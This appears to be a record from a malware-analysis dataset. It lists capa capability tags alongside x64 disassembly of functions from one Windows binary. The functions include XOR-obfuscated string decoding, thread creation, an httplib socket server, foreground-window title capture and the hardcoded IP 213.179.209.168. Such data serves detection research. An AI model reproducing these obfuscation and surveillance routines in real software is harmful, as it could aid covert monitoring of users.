joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400d0550
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14015d040]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov ecx, 1
call fcn.14010ee60
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400d0a40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400d05e1
cmp dword [rsp + 0x38], 0
je 0x1400d05d5
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400d05d5
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14010ee40
add rsp, 0x68
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x1400d15c0
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x90
mov rax, qword [0x14015d040]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rsi, rcx
mov qword [r11 - 0x18], rcx
xor eax, eax
movdqa xmm0, xmmword [0x140131ea0]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x50], 1
nop word [rax + rax]
lea ecx, [rax - 0x2b]
xor byte [rsp + rax + 0x40], cl
inc rax
cmp rax, 0xf
jb 0x1400d1610
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x40]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400d1631
mov rdx, qword [rsi + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x1400d1734
mov rax, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x1400d1661
mov rax, qword [rsi]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.14002d380
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
mov r14, qword [0x140167a98]
cmp qword [r14 + 0x18], 0
je 0x1400d16f7
cmp qword [r14], 0
je 0x1400d16f7
mov rdx, qword [rsp + 0x70]
add rdx, 5
xor ecx, ecx
lea r8d, [rcx + 1]
call fcn.140061a00
mov rdi, rax
mov rbx, qword [rax + 0x10]
mov dword [rbx], 3
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rdx, qword [rsp + 0x60]
lea rcx, [rbx + 4]
mov r8, qword [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rsp + 0x70]
xor eax, eax
mov byte [rcx + rbx + 4], al
mov r8b, 1
mov rdx, rdi
mov rcx, r14
call fcn.140108190
nop
lea rcx, [rsp + 0x60]
call fcn.14002b140
nop
mov rcx, rsi
call fcn.14002b140
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.14010ee40
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
call fcn.140004f60
nop
int3
Function at 0x1400d1840
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rdi
push r13
mov rbp, rsp
sub rsp, 0x38
xor ebx, ebx
mov qword [rsp + 0x68], rsi
mov ecx, ebx
mov dword [rbp + 0x28], 0x100b6b5
nop dword [rax]
lea eax, [rcx - 0x2b]
xor byte [rbp + rcx + 0x28], al
inc rcx
cmp rcx, 2
jb 0x1400d1860
mov r13, qword [0x140167a98]
lea rcx, [rbp + 0x28]
mov rdi, 0xffffffffffffffff
mov byte [rbp + 0x2b], bl
mov rax, rdi
lea rsi, [r13 + 0x1d8]
nop
inc rax
cmp byte [rcx + rax], bl
jne 0x1400d1890
cmp qword [rsi + 0x18], 0xf
mov rcx, rsi
jbe 0x1400d18a5
mov rcx, qword [rsi]
mov rdx, qword [rsi + 0x10]
lea r9, [rbp + 0x28]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call fcn.14002c540
cmp rax, rdi
jne 0x1400d192d
lea rax, [r13 + 0x178]
cmp rsi, rax
je 0x1400d192d
cmp qword [rax + 0x18], 0xf
mov r9, rax
mov qword [rsp + 0x70], r14
jbe 0x1400d18dd
mov r9, qword [rax]
mov r14, qword [rax + 0x10]
cmp r14, qword [rsi + 0x18]
ja 0x1400d1916
cmp qword [rsi + 0x18], 0xf
mov qword [rsp + 0x30], r15
mov r15, rsi
jbe 0x1400d18f9
mov r15, qword [rsi]
mov r8, r14
mov qword [rsi + 0x10], r14
mov rdx, r9
mov rcx, r15
call sub.VCRUNTIME140.dll_memmove
mov byte [r15 + r14], bl
mov r15, qword [rsp + 0x30]
jmp 0x1400d1928
mov rdx, r14
mov rcx, rsi
call fcn.14002c9a0
mov r13, qword [0x140167a98]
mov r14, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
mov rcx, rbx
mov dword [rbp + 0x28], 0x100b6b5
nop dword [rax]
lea eax, [rcx - 0x2b]
xor byte [rbp + rcx + 0x28], al
inc rcx
cmp rcx, 2
jb 0x1400d1940
mov byte [rbp + 0x2b], bl
lea rcx, [rbp + 0x28]
mov rax, rdi
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], bl
jne 0x1400d1960
cmp qword [r13 + 0x1f0], 0xf
lea rcx, [r13 + 0x1d8]
jbe 0x1400d1980
mov rcx, qword [r13 + 0x1d8]
mov rdx, qword [r13 + 0x1e8]
lea r9, [rbp + 0x28]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call fcn.14002c540
cmp rax, rdi
je 0x1400d1a96
mov dword [rbp + 0x28], 0x10088b5
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx - 0x2b]
xor byte [rbp + rcx + 0x28], al
inc rcx
cmp rcx, 2
jb 0x1400d19b0
mov byte [rbp + 0x2b], bl
lea rcx, [rbp + 0x28]
mov rax, rdi
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], bl
jne 0x1400d19d0
cmp qword [r13 + 0x1f0], 0xf
lea rcx, [r13 + 0x1d8]
jbe 0x1400d19f0
mov rcx, qword [r13 + 0x1d8]
mov rdx, qword [r13 + 0x1e8]
lea r9, [rbp + 0x28]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call fcn.14002c540
cmp rax, rdi
jne 0x1400d1a8a
mov dword [rbp + 0x28], 0x100e4b5
nop dword [rax]
nop dword [rax + rax]
lea eax, [rbx - 0x2b]
xor byte [rbp + rbx + 0x28], al
inc rbx
cmp rbx, 2
jb 0x1400d1a20
mov byte [rbp + 0x2b], 0
lea rax, [rbp + 0x28]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400d1a40
cmp qword [r13 + 0x1f0], 0xf
lea rcx, [r13 + 0x1d8]
jbe 0x1400d1a61
mov rcx, qword [r13 + 0x1d8]
mov rdx, qword [r13 + 0x1e8]
lea r9, [rbp + 0x28]
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call fcn.14002c540
cmp rax, 0xffffffffffffffff
setne al
add rsp, 0x38
pop r13
pop rdi
pop rbx
pop rbp
ret
mov al, 1
add rsp, 0x38
pop r13
pop rdi
pop rbx
pop rbp
ret
xor al, al
add rsp, 0x38
pop r13
pop rdi
pop rbx
pop rbp
ret
Function at 0x1400d6990
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov rax, qword [0x14015d040]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov edi, r8d
mov esi, edx
mov r14d, ecx
mov rbx, qword [0x140167a98]
add rbx, 0x178
mov rdx, rbx
lea rcx, [rbp - 0x39]
call fcn.14002a640
nop
lea rdx, [rbx + 0x20]
lea rcx, [rbp - 0x19]
call fcn.14002a640
mov eax, dword [rbx + 0x40]
mov dword [rbp + 7], eax
mov eax, dword [rbx + 0x44]
mov dword [rbp + 0xb], eax
movss xmm1, dword [rbx + 0x48]
movss dword [rbp + 0xf], xmm1
movss xmm2, dword [rbx + 0x4c]
movss dword [rbp + 0x13], xmm2
movzx eax, byte [rbx + 0x50]
mov byte [rbp + 0x17], al
movzx eax, byte [rbx + 0x51]
mov byte [rbp + 0x18], al
test esi, esi
jns 0x1400d6aa7
test edi, edi
jns 0x1400d6aa7
movdqa xmm0, xmmword [0x1401383a0]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x86c78387
mov dword [rsp + 0x34], 0xcd87869c
mov word [rsp + 0x38], 0x100
xor edx, edx
mov ecx, edx
nop dword [rax + rax]
lea eax, [rcx - 0x2b]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x18
jb 0x1400d6a50
mov byte [rsp + 0x39], dl
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rdx
mov qword [rbp - 0x71], rdx
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dl
jne 0x1400d6a80
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.14002c630
lea rcx, [rsp + 0x40]
call fcn.1400d15c0
jmp 0x1400d6b53
mov word [rsp + 0x41], 0
mov byte [rsp + 0x43], 0
xor edx, edx
mov qword [rsp + 0x44], rdx
mov qword [rbp - 0x7d], rdx
mov qword [rbp - 0x69], rdx
mov dword [rbp - 0x61], edx
xor eax, eax
mov qword [rbp - 0x55], rax
mov byte [rsp + 0x40], 3
mov dword [rbp - 0x75], r14d
mov dword [rbp - 0x5d], esi
mov dword [rbp - 0x59], edi
movss dword [rbp - 0x71], xmm1
movss dword [rbp - 0x6d], xmm2
mov rbx, qword [0x140167a98]
cmp qword [rbx + 0x10], rax
je 0x1400d6b53
cmp qword [rbx + 8], rax
je 0x1400d6b53
lea edx, [rax + 0x41]
xor ecx, ecx
lea r8d, [rax + 1]
call fcn.140061a00
mov r8, qword [rax + 0x10]
mov dword [r8], 4
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [r8 + 4], xmm0
movups xmm1, xmmword [rbp - 0x79]
movups xmmword [r8 + 0x14], xmm1
movups xmm0, xmmword [rbp - 0x69]
movups xmmword [r8 + 0x24], xmm0
movsd xmm1, qword [rbp - 0x59]
movsd qword [r8 + 0x34], xmm1
mov edx, dword [rbp - 0x51]
mov dword [r8 + 0x3c], edx
xor ecx, ecx
mov byte [r8 + 0x40], cl
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
call fcn.140108190
nop
lea rcx, [rbp - 0x19]
call fcn.14002b140
lea rcx, [rbp - 0x39]
call fcn.14002b140
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14010ee40
add rsp, 0x100
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x1400d9550
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x270
mov rax, qword [0x14015d040]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rsi, rcx
mov rbp, rdx
lea rcx, [rsp + 0x30]
call fcn.140005a00
mov rbx, qword [rsp + 0x30]
xor r14d, r14d
movabs r13, 0x431bde82d7b634db
movabs r12, 0x7ffffffffff0bdbf
movabs r15, 0x7fffffffffffffff
nop word [rax + rax]
mov qword [rsp + 0x58], rsi
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x48], r14d
mov dword [rsp + 0x4c], 0x2710
nop word [rax + rax]
lea rax, [rsp + 0x48]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x50]
lea ecx, [rsi + 1]
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
jns 0x1400d9611
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
je 0x1400d95e0
xor al, al
jmp 0x1400d9689
jne 0x1400d9687
lea rcx, [rsp + 0x38]
call fcn.140005a00
mov rcx, qword [rsp + 0x38]
mov rax, r13
sub rcx, rbx
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rbp, 0x3e8
cmp rdx, rax
jg 0x1400d960d
lea rcx, [rsp + 0x40]
call fcn.140005a00
mov rax, qword [rsp + 0x40]
cmp rax, r12
jge 0x1400d9673
add rax, 0xf4240
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], rax
call fcn.14002dce0
jmp 0x1400d95c0
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], r15
call fcn.14002dce0
jmp 0x1400d95c0
mov al, 1
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14010ee40
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1400df380
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0xa0
mov rax, qword [0x14015d040]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rdi, rcx
mov sil, 1
mov eax, 1
xchg byte [rcx + 0xb0], al
mov rcx, qword [rcx + 0x40]
test rcx, rcx
jne 0x1400df3cc
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rsp + 0x90], rax
mov rax, qword [rdi + 0x48]
cmp rax, 0xffffffffffffffff
je 0x1400df590
movabs rbp, 0x7fffffffffffffff
movabs r14, 0x7ffffffffff0bdbf
movabs r15, 0x20c49ba5e353f7cf
lea r12, vtable.std::_Func_impl_no_alloc_class__private:_bool___cdecl_httplib::Server::listen_internal_void____ptr64::_5::_lambda_1___void___.0
nop dword [rax]
mov rcx, qword [rdi + 0x48]
mov r8, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x80]
call fcn.140030f90
test rax, rax
jne 0x1400df43f
mov rcx, qword [rsp + 0x90]
mov rax, qword [rcx]
call qword [rax + 0x18]
jmp 0x1400df569
mov rcx, qword [rdi + 0x48]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400df4a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 0x18
jne 0x1400df579
lea rcx, [rsp + 0x38]
call fcn.140005a00
mov rax, qword [rsp + 0x38]
cmp rax, r14
jge 0x1400df494
add rax, 0xf4240
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x30]
call fcn.14002dce0
jmp 0x1400df569
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x30]
call fcn.14002dce0
jmp 0x1400df569
mov rax, r15
imul qword [rdi + 0x68]
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, dword [rdi + 0x60], 0x3e8
add edx, eax
mov dword [rsp + 0x88], edx
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x88]
mov edx, 0xffff
mov r8d, 0x1006
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rax, r15
imul qword [rdi + 0x78]
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, dword [rdi + 0x70], 0x3e8
add edx, eax
mov dword [rsp + 0x8c], edx
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x8c]
mov edx, 0xffff
mov r8d, 0x1005
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea rax, [rsp + 0x48]
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0x90]
mov rax, qword [rcx]
lea rdx, [rsp + 0x48]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rax, qword [rdi + 0x48]
cmp rax, 0xffffffffffffffff
jne 0x1400df410
jmp 0x1400df590
mov rax, qword [rdi + 0x48]
cmp rax, 0xffffffffffffffff
je 0x1400df590
mov rcx, qword [rdi + 0x48]
call qword [sym.imp.WS2_32.dll_closesocket]
xor sil, sil
mov rbx, qword [rsp + 0x90]
mov r8, qword [rbx]
mov rcx, rbx
call qword [r8 + reloc.WS2_32.dll_recv]
nop
test rbx, rbx
je 0x1400df5b6
mov r8, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [r8]
xor ecx, ecx
xchg byte [rdi + 0xb0], cl
movzx eax, sil
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.14010ee40
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1400e6850
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14015d040]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov ecx, 1
call fcn.14010ee60
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140100fd0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400e68e1
cmp dword [rsp + 0x38], 0
je 0x1400e68d5
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400e68d5
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14010ee40
add rsp, 0x68
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x1400e6900
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x14015d040]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edi, edi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x1400e6972
mov r8d, 0x100
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextA]
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], rdi
inc r8
cmp byte [rax + r8], dil
jne 0x1400e6962
lea rdx, [rsp + 0x30]
jmp 0x1400e698a
xorps xmm0, xmm0
lea rdx, [0x14012f079]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
xor r8d, r8d
mov qword [rbx + 0x18], rdi
mov rcx, rbx
call fcn.14002c630
mov rax, rbx
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14010ee40
mov rbx, qword [rsp + 0x158]
add rsp, 0x140
pop rdi
ret

Function at 0x1400e69c0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14015d040]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov ecx, 1
call fcn.14010ee60
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140101060]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400e6a51
cmp dword [rsp + 0x38], 0
je 0x1400e6a45
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400e6a45
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14010ee40
add rsp, 0x68
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x1400e8b40
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbp, rcx
xor r14d, r14d
mov qword [rcx + 0x28], r14
mov qword [rcx + 0x30], r14
mov qword [rcx + 0x38], r14
mov qword [rcx + 0x40], r14
lea rdi, [rcx + 0x48]
mov qword [rsp + 0x58], rdi
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], r14b
movups xmmword [rdi + 0x20], xmm0
mov qword [rdi + 0x30], r14
mov qword [rdi + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rdi + 0x20], r14b
mov rsi, 0xffffffffffffffff
mov qword [rdi + 0x40], rsi
mov qword [rdi + 0x48], r14
mov dword [rdi + 0x50], r14d
mov word [rdi + 0x54], r14w
lea rax, [rdi + 0x58]
mov qword [rsp + 0x60], rax
lea rbx, [rax + 8]
mov qword [rsp + 0x60], rbx
mov qword [rbx], r14
mov qword [rbx + 8], r14
lea ecx, [rsi + 0x29]
call fcn.14010ee60
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbx], rax
mov qword [rdi + 0x70], rsi
mov qword [rdi + 0x78], rsi
mov qword [rbp + 0xc8], r14
lea rcx, [rbp + 0xd0]
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], r14
lea r8d, [r14 + 0xf]
lea rdx, str.213.179.209.168
call fcn.14002c630
nop
lea rcx, [rbp + 0xf0]
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], r14
lea r8d, [r14 + 0xf]
lea rdx, str.213.179.209.168
call fcn.14002c630
nop
mov dword [rsp + 0x58], 0x949b839b
mov word [rsp + 0x5c], 0x100
mov ecx, r14d
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x2b]
xor byte [rsp + rcx + 0x58], al
inc rcx
cmp rcx, 4
jb 0x1400e8c60
mov byte [rsp + 0x5d], 0
lea rcx, [rbp + 0x110]
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], r14
lea rax, [rsp + 0x58]
nop
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400e8c90
mov r8, rsi
lea rdx, [rsp + 0x58]
call fcn.14002c630
nop
mov dword [rbp + 0x130], 0x435c
mov dword [rbp + 0x134], 0x435c
mov dword [rbp + 0x138], 0x4327
lea rcx, [rbp + 0x140]
call fcn.1400e8d30
lea rcx, [rbp + 0x6050]
mov dword [rcx], r14d
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], r14
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
movups xmmword [rcx + 0x28], xmm0
movups xmmword [rcx + 0x38], xmm0
mov qword [rcx + 0x48], r14
mov edx, 2
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
xor eax, eax
mov byte [rbp + 0x60a0], al
lea rcx, [rbp + 0x60a8]
call qword [sym.imp.MSVCP140.dll__Cnd_init_in_situ]
nop
mov rax, rbp
add rsp, 0x20
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400ea2a0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14015d040]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov byte [0x140166a77], 1
mov ecx, 1
call fcn.14010ee60
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140101160]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400ea338
cmp dword [rsp + 0x38], 0
je 0x1400ea32c
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400ea32c
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14010ee40
add rsp, 0x68
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x1400ea350
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14015d040]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov byte [0x14016703a], 1
mov ecx, 1
call fcn.14010ee60
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140101200]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400ea3e8
cmp dword [rsp + 0x38], 0
je 0x1400ea3dc
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400ea3dc
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14010ee40
add rsp, 0x68
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x1400ea400
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14015d040]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov byte [0x140166a5b], 1
mov ecx, 1
call fcn.14010ee60
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1401012d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400ea498
cmp dword [rsp + 0x38], 0
je 0x1400ea48c
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400ea48c
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14010ee40
add rsp, 0x68
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x1400ea770
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14015d040]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov byte [0x140166a76], 1
mov ecx, 1
call fcn.14010ee60
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140101300]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400ea808
cmp dword [rsp + 0x38], 0
je 0x1400ea7fc
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400ea7fc
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14010ee40
add rsp, 0x68
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3